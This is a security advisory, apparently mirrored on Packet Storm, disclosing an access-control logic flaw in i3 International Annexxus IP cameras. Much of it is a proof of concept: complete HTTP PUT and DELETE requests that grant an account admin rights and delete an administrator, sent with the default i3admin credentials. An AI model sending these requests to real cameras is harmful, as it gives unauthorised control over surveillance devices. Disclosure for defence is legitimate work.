exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw

i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw
Posted Nov 2, 2021
Authored by LiquidWorm | Site zeroscience.mk

i3 International Annexxus Cameras Ax-n version 5.2.0 does not allow creation of more than one administrator account on the system. This also applies for deletion of the administrative account. The logic behind this restriction can be bypassed by parameter manipulation using dangerous verbs like PUT and DELETE and improper server-side validation. Once a normal account with viewer or operator permissions has been added by the default admin user i3admin, a PUT request can be issued calling the UserPermission endpoint with the ID of created account and set it to admin userType, successfully adding a second administrative account.

tags | exploit
SHA-256 | 3e641781592da07922dd7ee30daf5267b6d7f9b85ed06f3a2968275095a40591

i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw

Change Mirror Download

i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw


Vendor: i3 International Inc.
Product web page: https://www.i3international.com
Affected version: V5.2.0 build 150317 (Ax46)
V5.0.9 build 151106 (Ax68)
V5.0.9 build 150615 (Ax78)


Summary: The Annexxus camera 6MP provides 4 simultaneous,
independently controlled digital pan-tilt-zoom (ePTZ) video
streams, which may be recorded or viewed live as well as a
built-in microphone and speaker allowing two way communication.

Desc: The application doesn't allow creation of more than one
administrator account on the system. This also applies for
deletion of the administrative account. The logic behind this
restriction can be bypassed by parameter manipulation using
dangerous verbs like PUT and DELETE and improper server-side
validation. Once a normal account with 'viewer' or 'operator'
permissions has been added by the default admin user 'i3admin',
a PUT request can be issued calling the 'UserPermission' endpoint
with the ID of created account and set it to 'admin' userType,
successfully adding a second administrative account.

Tested on: App-webs/


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2021-5688
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php


27.10.2021

--


Make user ID 3 an Administrator:
--------------------------------

PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1
Host: 192.168.1.1
Content-Length: 556
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close

<?xml version='1.0' encoding='utf-8'?><UserPermission><id>3</id><userID>3</userID><userType>admin</userType><remotePermission><playBack>true</playBack><preview>true</preview><record>true</record><ptzControl>true</ptzControl><upgrade>true</upgrade><parameterConfig>true</parameterConfig><restartOrShutdown>true</restartOrShutdown><logOrStateCheck>true</logOrStateCheck><voiceTalk>true</voiceTalk><transParentChannel>true</transParentChannel><contorlLocalOut>true</contorlLocalOut><alarmOutOrUpload>true</alarmOutOrUpload></remotePermission></UserPermission>


HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:13:56 GMT
Server: App-webs/
Connection: close
Content-Length: 238
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">
<requestURL>/PSIA/Custom/SelfExt/UserPermission/3</requestURL>
<statusCode>1</statusCode>
<statusString>OK</statusString>
</ResponseStatus>



Delete Administrator user ID 3:
-------------------------------

DELETE /PSIA/Security/AAA/users/3 HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close


HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:20:17 GMT
Server: App-webs/
Connection: close
Content-Length: 213
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">
<requestURL>/PSIA/Security/AAA/users/3</requestURL>
<statusCode>1</statusCode>
<statusString>OK</statusString>
</ResponseStatus>
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close